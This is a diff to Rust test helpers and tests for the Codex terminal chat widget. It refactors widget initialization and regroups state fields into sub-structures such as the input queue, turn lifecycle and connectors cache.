@@ -157,178 +157,38 @@ pub(super) async fn make_chatwidget_manual(
if let Some(model) = model_override {
cfg.model = Some(model.to_string());
}
let prevent_idle_sleep = cfg.features.enabled(Feature::PreventIdleSleep);
let session_telemetry = test_session_telemetry(&cfg, resolved_model.as_str());
let mut bottom = BottomPane::new(BottomPaneParams {
app_event_tx: app_event_tx.clone(),
frame_requester: FrameRequester::test_dummy(),
has_input_focus: true,
enhanced_keys_supported: false,
placeholder_text: "Ask Codex to do anything".to_string(),
disable_paste_burst: false,
animations_enabled: cfg.animations,
skills: None,
});
bottom.set_collaboration_modes_enabled(/*enabled*/ true);
let model_catalog = test_model_catalog(&cfg);
let reasoning_effort = None;
let base_mode = CollaborationMode {
mode: ModeKind::Default,
settings: Settings {
model: resolved_model.clone(),
reasoning_effort,
developer_instructions: None,
},
};
let current_collaboration_mode = base_mode;
let active_collaboration_mask = collaboration_modes::default_mask(model_catalog.as_ref());
let effective_service_tier = cfg.service_tier;
let mut widget = ChatWidget {
app_event_tx,
codex_op_target: super::CodexOpTarget::Direct(op_tx),
bottom_pane: bottom,
active_cell: None,
active_cell_revision: 0,
raw_output_mode: cfg.tui_raw_output_mode,
let common = ChatWidgetInit {
config: cfg,
effective_service_tier,
current_collaboration_mode,
active_collaboration_mask,
environment_manager: Arc::new(codex_exec_server::EnvironmentManager::default_for_tests()),
frame_requester: FrameRequester::test_dummy(),
app_event_tx,
workspace_command_runner: None,
initial_user_message: None,
enhanced_keys_supported: false,
has_chatgpt_account: false,
model_catalog,
session_telemetry,
session_header: SessionHeader::new(resolved_model.clone()),
initial_user_message: None,
feedback: codex_feedback::CodexFeedback::new(),
is_first_run: true,
status_account_display: None,
runtime_model_provider_base_url: None,
token_info: None,
rate_limit_snapshots_by_limit_id: BTreeMap::new(),
refreshing_status_outputs: Vec::new(),
next_status_refresh_request_id: 0,
plan_type: None,
codex_rate_limit_reached_type: None,
rate_limit_warnings: RateLimitWarningState::default(),
rate_limit_switch_prompt: RateLimitSwitchPromptState::default(),
add_credits_nudge_email_in_flight: None,
adaptive_chunking: crate::streaming::chunking::AdaptiveChunkingPolicy::default(),
stream_controller: None,
plan_stream_controller: None,
clipboard_lease: None,
copy_last_response_binding: crate::keymap::RuntimeKeymap::defaults().app.copy,
pending_guardian_review_status: PendingGuardianReviewStatus::default(),
recent_auto_review_denials: RecentAutoReviewDenials::default(),
terminal_title_status_kind: TerminalTitleStatusKind::Working,
last_agent_markdown: None,
agent_turn_markdowns: Vec::new(),
visible_user_turn_count: 0,
copy_history_evicted_by_rollback: false,
latest_proposed_plan_markdown: None,
saw_copy_source_this_turn: false,
running_commands: HashMap::new(),
collab_agent_metadata: HashMap::new(),
pending_collab_spawn_requests: HashMap::new(),
suppressed_exec_calls: HashSet::new(),
skills_all: Vec::new(),
skills_initial_state: None,
last_unified_wait: None,
unified_exec_wait_streak: None,
turn_sleep_inhibitor: SleepInhibitor::new(prevent_idle_sleep),
task_complete_pending: false,
unified_exec_processes: Vec::new(),
agent_turn_running: false,
mcp_startup_status: None,
mcp_startup_expected_servers: None,
mcp_startup_ignore_updates_until_next_start: false,
mcp_startup_allow_terminal_only_next_round: false,
mcp_startup_pending_next_round: HashMap::new(),
mcp_startup_pending_next_round_saw_starting: false,
connectors_cache: ConnectorsCacheState::default(),
connectors_partial_snapshot: None,
plugin_install_apps_needing_auth: Vec::new(),
plugin_install_auth_flow: None,
plugins_active_tab_id: None,
newly_installed_marketplace_tab_id: None,
connectors_prefetch_in_flight: false,
connectors_force_refetch_pending: false,
ide_context: super::super::ide_context::IdeContextState::default(),
plugins_cache: PluginsCacheState::default(),
plugins_fetch_state: PluginListFetchState::default(),
interrupts: InterruptManager::new(),
reasoning_buffer: String::new(),
full_reasoning_buffer: String::new(),
current_status: StatusIndicatorState::working(),
active_hook_cell: None,
retry_status_header: None,
pending_status_indicator_restore: false,
suppress_queue_autosend: false,
thread_id: None,
dismissed_plan_mode_nudge_scopes: HashSet::new(),
last_turn_id: None,
budget_limited_turn_ids: HashSet::new(),
thread_name: None,
thread_rename_block_message: None,
active_side_conversation: false,
normal_placeholder_text: "Ask Codex to do anything".to_string(),
side_placeholder_text: "Check recently modified functions for compatibility".to_string(),
forked_from: None,
interrupted_turn_notice_mode: InterruptedTurnNoticeMode::Default,
frame_requester: FrameRequester::test_dummy(),
show_welcome_banner: true,
initial_plan_type: None,
model: Some(resolved_model.clone()),
startup_tooltip_override: None,
queued_user_messages: VecDeque::new(),
queued_user_message_history_records: VecDeque::new(),
user_turn_pending_start: false,
rejected_steers_queue: VecDeque::new(),
rejected_steer_history_records: VecDeque::new(),
pending_steers: VecDeque::new(),
submit_pending_steers_after_interrupt: false,
chat_keymap: crate::keymap::RuntimeKeymap::defaults().chat,
queued_message_edit_hint_binding: Some(crate::key_hint::alt(KeyCode::Up)),
suppress_session_configured_redraw: false,
suppress_initial_user_message_submit: false,
pending_notification: None,
quit_shortcut_expires_at: None,
quit_shortcut_key: None,
is_review_mode: false,
pre_review_token_info: None,
needs_final_message_separator: false,
had_work_activity: false,
saw_plan_update_this_turn: false,
saw_plan_item_this_turn: false,
last_plan_progress: None,
plan_delta_buffer: String::new(),
plan_item_active: false,
turn_runtime_metrics: RuntimeMetricsSummary::default(),
last_rendered_width: std::cell::Cell::new(None),
feedback: codex_feedback::CodexFeedback::new(),
current_rollout_path: None,
current_cwd: None,
workspace_command_runner: None,
instruction_source_paths: Vec::new(),
session_network_proxy: None,
status_line_invalid_items_warned: Arc::new(AtomicBool::new(false)),
terminal_title_invalid_items_warned: Arc::new(AtomicBool::new(false)),
last_terminal_title: None,
last_terminal_title_requires_action: false,
terminal_title_setup_original_items: None,
terminal_title_animation_origin: Instant::now(),
status_line_project_root_name_cache: None,
status_line_branch: None,
status_line_branch_cwd: None,
status_line_branch_pending: false,
status_line_branch_lookup_complete: false,
status_line_git_summary: None,
status_line_git_summary_cwd: None,
status_line_git_summary_pending: false,
status_line_git_summary_lookup_complete: false,
current_goal_status_indicator: None,
current_goal_status: None,
goal_status_active_turn_started_at: None,
external_editor_state: ExternalEditorState::Closed,
realtime_conversation: RealtimeConversationUiState::default(),
last_rendered_user_message_display: None,
last_non_retry_error: None,
session_telemetry,
};
let mut widget = ChatWidget::new_with_op_target(common, super::CodexOpTarget::Direct(op_tx));
widget.transcript.active_cell = None;
widget.transcript.active_cell_revision = 0;
widget.normal_placeholder_text = "Ask Codex to do anything".to_string();
widget.side_placeholder_text =
"Check recently modified functions for compatibility".to_string();
widget
.bottom_pane
.set_placeholder_text(widget.normal_placeholder_text.clone());
widget.set_model(&resolved_model);
(widget, rx, op_rx)
}
@@ -387,8 +247,12 @@ pub(crate) fn set_chatgpt_auth(chat: &mut ChatWidget) {
}
fn test_model_info(slug: &str, priority: i32, supports_fast_mode: bool) -> ModelInfo {
let additional_speed_tiers = if supports_fast_mode {
vec![codex_protocol::openai_models::SPEED_TIER_FAST]
let service_tiers = if supports_fast_mode {
vec![json!({
"id": ServiceTier::Fast.request_value(),
"name": "fast",
"description": "Fastest inference with increased plan usage"
})]
} else {
Vec::new()
};
@@ -402,7 +266,8 @@ fn test_model_info(slug: &str, priority: i32, supports_fast_mode: bool) -> Model
"visibility": "list",
"supported_in_api": true,
"priority": priority,
"additional_speed_tiers": additional_speed_tiers,
"additional_speed_tiers": [],
"service_tiers": service_tiers,
"availability_nux": null,
"upgrade": null,
"base_instructions": "base instructions",
@@ -520,6 +385,7 @@ pub(super) fn handle_token_count(chat: &mut ChatWidget, info: Option<TokenUsageI
codex_app_server_protocol::ThreadTokenUsageUpdatedNotification {
thread_id: thread_id(chat),
turn_id: chat
.turn_lifecycle
.last_turn_id
.clone()
.unwrap_or_else(|| "turn-1".to_string()),
@@ -552,6 +418,7 @@ pub(super) fn handle_error(
will_retry: false,
thread_id: thread_id(chat),
turn_id: chat
.turn_lifecycle
.last_turn_id
.clone()
.unwrap_or_else(|| "turn-1".to_string()),
@@ -584,6 +451,7 @@ pub(super) fn handle_stream_error_with_replay(
will_retry: true,
thread_id: thread_id(chat),
turn_id: chat
.turn_lifecycle
.last_turn_id
.clone()
.unwrap_or_else(|| "turn-1".to_string()),
@@ -610,6 +478,7 @@ pub(super) fn handle_model_verification(
ServerNotification::ModelVerification(ModelVerificationNotification {
thread_id: thread_id(chat),
turn_id: chat
.turn_lifecycle
.last_turn_id
.clone()
.unwrap_or_else(|| "turn-1".to_string()),
@@ -625,6 +494,7 @@ pub(super) fn handle_agent_message_delta(chat: &mut ChatWidget, delta: impl Into
codex_app_server_protocol::AgentMessageDeltaNotification {
thread_id: thread_id(chat),
turn_id: chat
.turn_lifecycle
.last_turn_id
.clone()
.unwrap_or_else(|| "turn-1".to_string()),
@@ -641,6 +511,7 @@ pub(super) fn handle_agent_reasoning_delta(chat: &mut ChatWidget, delta: impl In
ServerNotification::ReasoningSummaryTextDelta(ReasoningSummaryTextDeltaNotification {
thread_id: thread_id(chat),
turn_id: chat
.turn_lifecycle
.last_turn_id
.clone()
.unwrap_or_else(|| "turn-1".to_string()),
@@ -657,6 +528,7 @@ pub(super) fn handle_agent_reasoning_final(chat: &mut ChatWidget) {
ServerNotification::ItemCompleted(ItemCompletedNotification {
thread_id: thread_id(chat),
turn_id: chat
.turn_lifecycle
.last_turn_id
.clone()
.unwrap_or_else(|| "turn-1".to_string()),
@@ -676,6 +548,7 @@ pub(super) fn handle_entered_review_mode(chat: &mut ChatWidget, review: impl Int
ServerNotification::ItemStarted(ItemStartedNotification {
thread_id: thread_id(chat),
turn_id: chat
.turn_lifecycle
.last_turn_id
.clone()
.unwrap_or_else(|| "turn-1".to_string()),
@@ -705,6 +578,7 @@ pub(super) fn handle_exited_review_mode(chat: &mut ChatWidget) {
ServerNotification::ItemCompleted(ItemCompletedNotification {
thread_id: thread_id(chat),
turn_id: chat
.turn_lifecycle
.last_turn_id
.clone()
.unwrap_or_else(|| "turn-1".to_string()),
@@ -982,6 +856,7 @@ pub(super) fn handle_exec_begin(chat: &mut ChatWidget, item: AppServerThreadItem
ServerNotification::ItemStarted(ItemStartedNotification {
thread_id: thread_id(chat),
turn_id: chat
.turn_lifecycle
.last_turn_id
.clone()
.unwrap_or_else(|| "turn-1".to_string()),
@@ -1003,6 +878,7 @@ pub(super) fn terminal_interaction(
codex_app_server_protocol::TerminalInteractionNotification {
thread_id: thread_id(chat),
turn_id: chat
.turn_lifecycle
.last_turn_id
.clone()
.unwrap_or_else(|| "turn-1".to_string()),
@@ -1146,7 +1022,7 @@ pub(super) fn handle_turn_interrupted(chat: &mut ChatWidget, turn_id: &str) {
}
pub(super) fn handle_budget_limited_turn(chat: &mut ChatWidget, turn_id: &str) {
chat.budget_limited_turn_ids.insert(turn_id.to_string());
chat.turn_lifecycle.mark_budget_limited(turn_id.to_string());
handle_turn_interrupted(chat, turn_id);
}
@@ -1208,6 +1084,7 @@ pub(super) fn handle_exec_end(chat: &mut ChatWidget, item: AppServerThreadItem)
ServerNotification::ItemCompleted(ItemCompletedNotification {
thread_id: thread_id(chat),
turn_id: chat
.turn_lifecycle
.last_turn_id
.clone()
.unwrap_or_else(|| "turn-1".to_string()),
@@ -1220,6 +1097,7 @@ pub(super) fn handle_exec_end(chat: &mut ChatWidget, item: AppServerThreadItem)
pub(super) fn active_blob(chat: &ChatWidget) -> String {
let lines = chat
.transcript
.active_cell
.as_ref()
.expect("active cell present")
@@ -1281,9 +1159,11 @@ pub(super) async fn assert_shift_left_edits_most_recent_queued_message_for_termi
chat.bottom_pane.set_task_running(/*running*/ true);
// Seed two queued messages.
chat.queued_user_messages
chat.input_queue
.queued_user_messages
.push_back(UserMessage::from("first queued".to_string()).into());
chat.queued_user_messages
chat.input_queue
.queued_user_messages
.push_back(UserMessage::from("second queued".to_string()).into());
chat.refresh_pending_input_preview();
@@ -1296,9 +1176,9 @@ pub(super) async fn assert_shift_left_edits_most_recent_queued_message_for_termi
"second queued".to_string()
);
// And the queue should now contain only the remaining (older) item.
assert_eq!(chat.queued_user_messages.len(), 1);
assert_eq!(chat.input_queue.queued_user_messages.len(), 1);
assert_eq!(
chat.queued_user_messages.front().unwrap().text,
chat.input_queue.queued_user_messages.front().unwrap().text,
"first queued"
);
}
@@ -1435,6 +1315,7 @@ pub(super) fn plugins_test_summary(
PluginSummary {
id: id.to_string(),
name: name.to_string(),
share_context: None,
source: PluginSource::Local {
path: plugins_test_absolute_path(&format!("plugins/{name}")),
},
@@ -1448,6 +1329,7 @@ pub(super) fn plugins_test_summary(
description,
/*long_description*/ None,
)),
keywords: Vec::new(),
}
}
@@ -1499,6 +1381,7 @@ pub(super) fn plugins_test_detail(
summary: PluginSummary,
description: Option<&str>,
skills: &[&str],
hooks: &[(codex_app_server_protocol::HookEventName, usize)],
apps: &[(&str, bool)],
mcp_servers: &[&str],
) -> PluginDetail {
@@ -1520,6 +1403,18 @@ pub(super) fn plugins_test_detail(
enabled: true,
})
.collect(),
hooks: hooks
.iter()
.enumerate()
.flat_map(|(event_index, (event_name, handler_count))| {
(0..*handler_count).map(move |handler_index| {
codex_app_server_protocol::PluginHookSummary {
key: format!("plugin:{event_index}:{handler_index}"),
event_name: *event_name,
}
})
})
.collect(),
apps: apps
.iter()
.map(|(name, needs_auth)| AppSummary {
@@ -1671,6 +1566,8 @@ fn hook_event_label(event_name: codex_app_server_protocol::HookEventName) -> &'s
codex_app_server_protocol::HookEventName::PreToolUse => "PreToolUse",
codex_app_server_protocol::HookEventName::PermissionRequest => "PermissionRequest",
codex_app_server_protocol::HookEventName::PostToolUse => "PostToolUse",
codex_app_server_protocol::HookEventName::PreCompact => "PreCompact",
codex_app_server_protocol::HookEventName::PostCompact => "PostCompact",
codex_app_server_protocol::HookEventName::SessionStart => "SessionStart",
codex_app_server_protocol::HookEventName::UserPromptSubmit => "UserPromptSubmit",
codex_app_server_protocol::HookEventName::Stop => "Stop",
@@ -14,10 +14,10 @@ use pretty_assertions::assert_eq;
async fn resumed_initial_messages_render_history() {
let (mut chat, mut rx, _ops) = make_chatwidget_manual(/*model_override*/ None).await;
let conversation_id = ThreadId::new();
let thread_id = ThreadId::new();
let rollout_file = NamedTempFile::new().unwrap();
let configured = crate::session_state::ThreadSessionState {
thread_id: conversation_id,
thread_id,
forked_from_id: None,
fork_parent_title: None,
thread_name: None,
@@ -31,8 +31,7 @@ async fn resumed_initial_messages_render_history() {
cwd: test_path_buf("/home/user/project").abs(),
instruction_source_paths: Vec::new(),
reasoning_effort: Some(ReasoningEffortConfig::default()),
history_log_id: 0,
history_entry_count: 0,
message_history: None,
network_proxy: None,
rollout_path: Some(rollout_file.path().to_path_buf()),
};
@@ -85,10 +84,10 @@ async fn replayed_user_message_preserves_text_elements_and_local_images() {
)];
let local_images = vec![PathBuf::from("/tmp/replay.png")];
let conversation_id = ThreadId::new();
let thread_id = ThreadId::new();
let rollout_file = NamedTempFile::new().unwrap();
let configured = crate::session_state::ThreadSessionState {
thread_id: conversation_id,
thread_id,
forked_from_id: None,
fork_parent_title: None,
thread_name: None,
@@ -102,8 +101,7 @@ async fn replayed_user_message_preserves_text_elements_and_local_images() {
cwd: test_path_buf("/home/user/project").abs(),
instruction_source_paths: Vec::new(),
reasoning_effort: Some(ReasoningEffortConfig::default()),
history_log_id: 0,
history_entry_count: 0,
message_history: None,
network_proxy: None,
rollout_path: Some(rollout_file.path().to_path_buf()),
};
@@ -154,10 +152,10 @@ async fn replayed_user_message_preserves_remote_image_urls() {
let message = "replayed with remote image".to_string();
let remote_image_urls = vec!["https://example.com/image.png".to_string()];
let conversation_id = ThreadId::new();
let thread_id = ThreadId::new();
let rollout_file = NamedTempFile::new().unwrap();
let configured = crate::session_state::ThreadSessionState {
thread_id: conversation_id,
thread_id,
forked_from_id: None,
fork_parent_title: None,
thread_name: None,
@@ -171,8 +169,7 @@ async fn replayed_user_message_preserves_remote_image_urls() {
cwd: test_path_buf("/home/user/project").abs(),
instruction_source_paths: Vec::new(),
reasoning_effort: Some(ReasoningEffortConfig::default()),
history_log_id: 0,
history_entry_count: 0,
message_history: None,
network_proxy: None,
rollout_path: Some(rollout_file.path().to_path_buf()),
};
@@ -271,8 +268,7 @@ async fn session_configured_syncs_widget_config_permissions_and_cwd() {
cwd: expected_cwd.clone(),
instruction_source_paths: Vec::new(),
reasoning_effort: Some(ReasoningEffortConfig::default()),
history_log_id: 0,
history_entry_count: 0,
message_history: None,
network_proxy: None,
rollout_path: None,
};
@@ -328,8 +324,7 @@ async fn session_configured_external_sandbox_keeps_external_runtime_policy() {
cwd: test_path_buf("/home/user/external").abs(),
instruction_source_paths: Vec::new(),
reasoning_effort: Some(ReasoningEffortConfig::default()),
history_log_id: 0,
history_entry_count: 0,
message_history: None,
network_proxy: None,
rollout_path: None,
};
@@ -350,10 +345,10 @@ async fn replayed_user_message_with_only_remote_images_renders_history_cell() {
let remote_image_urls = vec!["https://example.com/remote-only.png".to_string()];
let conversation_id = ThreadId::new();
let thread_id = ThreadId::new();
let rollout_file = NamedTempFile::new().unwrap();
let configured = crate::session_state::ThreadSessionState {
thread_id: conversation_id,
thread_id,
forked_from_id: None,
fork_parent_title: None,
thread_name: None,
@@ -367,8 +362,7 @@ async fn replayed_user_message_with_only_remote_images_renders_history_cell() {
cwd: test_path_buf("/home/user/project").abs(),
instruction_source_paths: Vec::new(),
reasoning_effort: Some(ReasoningEffortConfig::default()),
history_log_id: 0,
history_entry_count: 0,
message_history: None,
network_proxy: None,
rollout_path: Some(rollout_file.path().to_path_buf()),
};
@@ -405,10 +399,10 @@ async fn replayed_user_message_with_only_local_images_renders_history_cell() {
let local_images = [PathBuf::from("/tmp/replay-local-only.png")];
let conversation_id = ThreadId::new();
let thread_id = ThreadId::new();
let rollout_file = NamedTempFile::new().unwrap();
let configured = crate::session_state::ThreadSessionState {
thread_id: conversation_id,
thread_id,
forked_from_id: None,
fork_parent_title: None,
thread_name: None,
@@ -422,8 +416,7 @@ async fn replayed_user_message_with_only_local_images_renders_history_cell() {
cwd: test_path_buf("/home/user/project").abs(),
instruction_source_paths: Vec::new(),
reasoning_effort: Some(ReasoningEffortConfig::default()),
history_log_id: 0,
history_entry_count: 0,
message_history: None,
network_proxy: None,
rollout_path: Some(rollout_file.path().to_path_buf()),
};
@@ -693,8 +686,7 @@ async fn replayed_reasoning_item_hides_raw_reasoning_when_disabled() {
cwd: test_project_path().abs(),
instruction_source_paths: Vec::new(),
reasoning_effort: None,
history_log_id: 0,
history_entry_count: 0,
message_history: None,
network_proxy: None,
rollout_path: None,
});
@@ -739,8 +731,7 @@ async fn replayed_reasoning_item_shows_raw_reasoning_when_enabled() {
cwd: test_project_path().abs(),
instruction_source_paths: Vec::new(),
reasoning_effort: None,
history_log_id: 0,
history_entry_count: 0,
message_history: None,
network_proxy: None,
rollout_path: None,
});
@@ -881,8 +872,8 @@ async fn replayed_stream_error_does_not_set_retry_status_or_status_indicator() {
cells.is_empty(),
"expected no history cell for replayed StreamError event"
);
assert_eq!(chat.current_status.header, "Idle");
assert!(chat.retry_status_header.is_none());
assert_eq!(chat.status_state.current_status.header, "Idle");
assert!(chat.status_state.retry_status_header.is_none());
assert!(chat.bottom_pane.status_widget().is_none());
}
@@ -909,7 +900,7 @@ async fn thread_snapshot_replayed_stream_recovery_restores_previous_status_heade
.expect("status indicator should be visible");
assert_eq!(status.header(), "Working");
assert_eq!(status.details(), None);
assert!(chat.retry_status_header.is_none());
assert!(chat.status_state.retry_status_header.is_none());
}
#[tokio::test]
@@ -931,5 +922,5 @@ async fn stream_recovery_restores_previous_status_header() {
.expect("status indicator should be visible");
assert_eq!(status.header(), "Working");
assert_eq!(status.details(), None);
assert!(chat.retry_status_header.is_none());
assert!(chat.status_state.retry_status_header.is_none());
}
@@ -586,8 +586,7 @@ async fn permissions_selection_marks_auto_review_current_after_session_configure
cwd: test_project_path().abs(),
instruction_source_paths: Vec::new(),
reasoning_effort: None,
history_log_id: 0,
history_entry_count: 0,
message_history: None,
network_proxy: None,
rollout_path: Some(PathBuf::new()),
});
@@ -634,8 +633,7 @@ async fn permissions_selection_marks_auto_review_current_with_custom_workspace_w
cwd,
instruction_source_paths: Vec::new(),
reasoning_effort: None,
history_log_id: 0,
history_entry_count: 0,
message_history: None,
network_proxy: None,
rollout_path: Some(PathBuf::new()),
});
+11 -12
View File
@@ -701,7 +701,7 @@ async fn submit_user_message_with_mode_errors_when_mode_changes_during_running_t
chat.submit_user_message_with_mode("Implement the plan.".to_string(), default_mode);
assert_eq!(chat.active_collaboration_mode_kind(), ModeKind::Plan);
assert!(chat.queued_user_messages.is_empty());
assert!(chat.input_queue.queued_user_messages.is_empty());
assert_matches!(op_rx.try_recv(), Err(TryRecvError::Empty));
let rendered = drain_insert_history(&mut rx)
.iter()
@@ -749,7 +749,7 @@ async fn submit_user_message_with_mode_allows_same_mode_during_running_turn() {
chat.submit_user_message_with_mode("Continue planning.".to_string(), plan_mask);
assert_eq!(chat.active_collaboration_mode_kind(), ModeKind::Plan);
assert!(chat.queued_user_messages.is_empty());
assert!(chat.input_queue.queued_user_messages.is_empty());
match next_submit_op(&mut op_rx) {
Op::UserTurn {
collaboration_mode:
@@ -783,7 +783,7 @@ async fn submit_user_message_with_mode_submits_when_plan_stream_is_not_active()
chat.submit_user_message_with_mode("Implement the plan.".to_string(), default_mode);
assert_eq!(chat.active_collaboration_mode_kind(), expected_mode);
assert!(chat.queued_user_messages.is_empty());
assert!(chat.input_queue.queued_user_messages.is_empty());
match next_submit_op(&mut op_rx) {
Op::UserTurn {
collaboration_mode: Some(CollaborationMode { mode, .. }),
@@ -1144,7 +1144,7 @@ async fn submit_user_message_queues_while_compaction_turn_is_running() {
chat.submit_user_message(UserMessage::from("queued while compacting"));
assert_eq!(chat.pending_steers.len(), 1);
assert_eq!(chat.input_queue.pending_steers.len(), 1);
match next_submit_op(&mut op_rx) {
Op::UserTurn { items, .. } => assert_eq!(
items,
@@ -1164,7 +1164,7 @@ async fn submit_user_message_queues_while_compaction_turn_is_running() {
}),
);
assert!(chat.pending_steers.is_empty());
assert!(chat.input_queue.pending_steers.is_empty());
assert_eq!(
chat.queued_user_message_texts(),
vec!["queued while compacting"]
@@ -1202,10 +1202,10 @@ async fn submit_user_message_queues_while_compaction_turn_is_running() {
#[tokio::test(flavor = "multi_thread")]
async fn submit_user_message_emits_structured_plugin_mentions_from_bindings() {
let (mut chat, _rx, mut op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
let conversation_id = ThreadId::new();
let thread_id = ThreadId::new();
let rollout_file = NamedTempFile::new().unwrap();
let configured = crate::session_state::ThreadSessionState {
thread_id: conversation_id,
thread_id,
forked_from_id: None,
fork_parent_title: None,
thread_name: None,
@@ -1219,8 +1219,7 @@ async fn submit_user_message_emits_structured_plugin_mentions_from_bindings() {
cwd: test_path_buf("/home/user/project").abs(),
instruction_source_paths: Vec::new(),
reasoning_effort: Some(ReasoningEffortConfig::default()),
history_log_id: 0,
history_entry_count: 0,
message_history: None,
network_proxy: None,
rollout_path: Some(rollout_file.path().to_path_buf()),
};
@@ -1279,7 +1278,7 @@ async fn enter_submits_when_plan_stream_is_not_active() {
.set_composer_text("submitted immediately".to_string(), Vec::new(), Vec::new());
chat.handle_key_event(KeyEvent::new(KeyCode::Enter, KeyModifiers::NONE));
assert!(chat.queued_user_messages.is_empty());
assert!(chat.input_queue.queued_user_messages.is_empty());
match next_submit_op(&mut op_rx) {
Op::UserTurn {
personality: Some(Personality::Pragmatic),
@@ -1463,8 +1462,7 @@ async fn plan_slash_command_with_args_submits_prompt_in_plan_mode() {
cwd: test_path_buf("/home/user/project").abs(),
instruction_source_paths: Vec::new(),
reasoning_effort: Some(ReasoningEffortConfig::default()),
history_log_id: 0,
history_entry_count: 0,
message_history: None,
network_proxy: None,
rollout_path: None,
};
@@ -1538,6 +1536,7 @@ async fn make_startup_chat_with_cli_overrides(
let session_telemetry = test_session_telemetry(&cfg, resolved_model.as_str());
let init = ChatWidgetInit {
config: cfg.clone(),
environment_manager: Arc::new(codex_exec_server::EnvironmentManager::default_for_tests()),
frame_requester: FrameRequester::test_dummy(),
app_event_tx: AppEventSender::new(unbounded_channel::<AppEvent>().0),
workspace_command_runner: None,
@@ -70,6 +70,7 @@ async fn experimental_mode_plan_is_ignored_on_startup() {
let session_telemetry = test_session_telemetry(&cfg, resolved_model.as_str());
let init = ChatWidgetInit {
config: cfg.clone(),
environment_manager: Arc::new(codex_exec_server::EnvironmentManager::default_for_tests()),
frame_requester: FrameRequester::test_dummy(),
app_event_tx: AppEventSender::new(unbounded_channel::<AppEvent>().0),
workspace_command_runner: None,
@@ -656,6 +657,10 @@ async fn plugin_detail_popup_snapshot_shows_install_actions_and_capability_summa
summary,
Some("Turn Figma files into implementation context."),
&["design-review", "extract-copy"],
&[
(codex_app_server_protocol::HookEventName::PreToolUse, 1),
(codex_app_server_protocol::HookEventName::Stop, 2),
],
&[("Figma", true), ("Slack", false)],
&["figma-mcp", "docs-mcp"],
),
@@ -696,6 +701,10 @@ async fn plugin_detail_popup_hides_disclosure_for_installed_plugins() {
summary,
Some("Turn Figma files into implementation context."),
&["design-review", "extract-copy"],
&[
(codex_app_server_protocol::HookEventName::PreToolUse, 1),
(codex_app_server_protocol::HookEventName::Stop, 2),
],
&[("Figma", true), ("Slack", false)],
&["figma-mcp", "docs-mcp"],
),
@@ -1329,7 +1338,7 @@ async fn apps_popup_stays_loading_until_final_snapshot_updates() {
);
chat.add_connectors_output();
assert!(
chat.connectors_prefetch_in_flight,
chat.connectors.prefetch_in_flight,
"expected /apps to trigger a forced connectors refresh"
);
@@ -1466,7 +1475,7 @@ async fn apps_refresh_failure_keeps_existing_full_snapshot() {
);
assert_matches!(
&chat.connectors_cache,
&chat.connectors.cache,
ConnectorsCacheState::Ready(snapshot) if snapshot.connectors == full_connectors
);
@@ -1607,8 +1616,8 @@ async fn apps_refresh_failure_with_cached_snapshot_triggers_pending_force_refetc
.enable(Feature::Apps)
.expect("test config should allow feature update");
chat.bottom_pane.set_connectors_enabled(/*enabled*/ true);
chat.connectors_prefetch_in_flight = true;
chat.connectors_force_refetch_pending = true;
chat.connectors.prefetch_in_flight = true;
chat.connectors.force_refetch_pending = true;
let full_connectors = vec![AppInfo {
id: "unit_test_apps_refresh_failure_pending_connector".to_string(),
@@ -1625,7 +1634,7 @@ async fn apps_refresh_failure_with_cached_snapshot_triggers_pending_force_refetc
is_enabled: true,
plugin_display_names: Vec::new(),
}];
chat.connectors_cache = ConnectorsCacheState::Ready(ConnectorsSnapshot {
chat.connectors.cache = ConnectorsCacheState::Ready(ConnectorsSnapshot {
connectors: full_connectors.clone(),
});
@@ -1634,10 +1643,10 @@ async fn apps_refresh_failure_with_cached_snapshot_triggers_pending_force_refetc
/*is_final*/ true,
);
assert!(chat.connectors_prefetch_in_flight);
assert!(!chat.connectors_force_refetch_pending);
assert!(chat.connectors.prefetch_in_flight);
assert!(!chat.connectors.force_refetch_pending);
assert_matches!(
&chat.connectors_cache,
&chat.connectors.cache,
ConnectorsCacheState::Ready(snapshot) if snapshot.connectors == full_connectors
);
}
@@ -1731,7 +1740,7 @@ async fn apps_popup_keeps_existing_full_snapshot_while_partial_refresh_loads() {
);
assert_matches!(
&chat.connectors_cache,
&chat.connectors.cache,
ConnectorsCacheState::Ready(snapshot) if snapshot.connectors == full_connectors
);
@@ -1790,7 +1799,7 @@ async fn apps_refresh_failure_without_full_snapshot_falls_back_to_installed_apps
);
assert_matches!(
&chat.connectors_cache,
&chat.connectors.cache,
ConnectorsCacheState::Ready(snapshot) if snapshot.connectors.len() == 1
);
@@ -1891,7 +1900,7 @@ async fn apps_initial_load_applies_enabled_state_from_config() {
);
assert_matches!(
&chat.connectors_cache,
&chat.connectors.cache,
ConnectorsCacheState::Ready(snapshot)
if snapshot
.connectors
@@ -1917,6 +1926,7 @@ async fn apps_initial_load_applies_enabled_state_from_requirements_with_user_ove
"connector_1".to_string(),
AppRequirementToml {
enabled: Some(false),
tools: None,
},
)]),
}),
@@ -1957,7 +1967,7 @@ async fn apps_initial_load_applies_enabled_state_from_requirements_with_user_ove
);
assert_matches!(
&chat.connectors_cache,
&chat.connectors.cache,
ConnectorsCacheState::Ready(snapshot)
if snapshot
.connectors
@@ -1990,6 +2000,7 @@ async fn apps_initial_load_applies_enabled_state_from_requirements_without_user_
"connector_1".to_string(),
AppRequirementToml {
enabled: Some(false),
tools: None,
},
)]),
}),
@@ -2021,7 +2032,7 @@ async fn apps_initial_load_applies_enabled_state_from_requirements_without_user_
);
assert_matches!(
&chat.connectors_cache,
&chat.connectors.cache,
ConnectorsCacheState::Ready(snapshot)
if snapshot
.connectors
@@ -2092,7 +2103,7 @@ async fn apps_refresh_preserves_toggled_enabled_state() {
);
assert_matches!(
&chat.connectors_cache,
&chat.connectors.cache,
ConnectorsCacheState::Ready(snapshot)
if snapshot
.connectors
+111 -56
View File
@@ -29,7 +29,7 @@ async fn interrupted_turn_restores_queued_messages_with_images_and_elements() {
)];
let existing_images = vec![PathBuf::from("/tmp/existing.png")];
chat.queued_user_messages.push_back(
chat.input_queue.queued_user_messages.push_back(
UserMessage {
text: first_text,
local_images: vec![LocalImageAttachment {
@@ -42,7 +42,7 @@ async fn interrupted_turn_restores_queued_messages_with_images_and_elements() {
}
.into(),
);
chat.queued_user_messages.push_back(
chat.input_queue.queued_user_messages.push_back(
UserMessage {
text: second_text,
local_images: vec![LocalImageAttachment {
@@ -108,7 +108,7 @@ async fn entered_review_mode_uses_request_hint() {
let cells = drain_insert_history(&mut rx);
let banner = lines_to_single_string(cells.last().expect("review banner"));
assert_eq!(banner, ">> Code review started: feature branch <<\n");
assert!(chat.is_review_mode);
assert!(chat.review.is_review_mode);
}
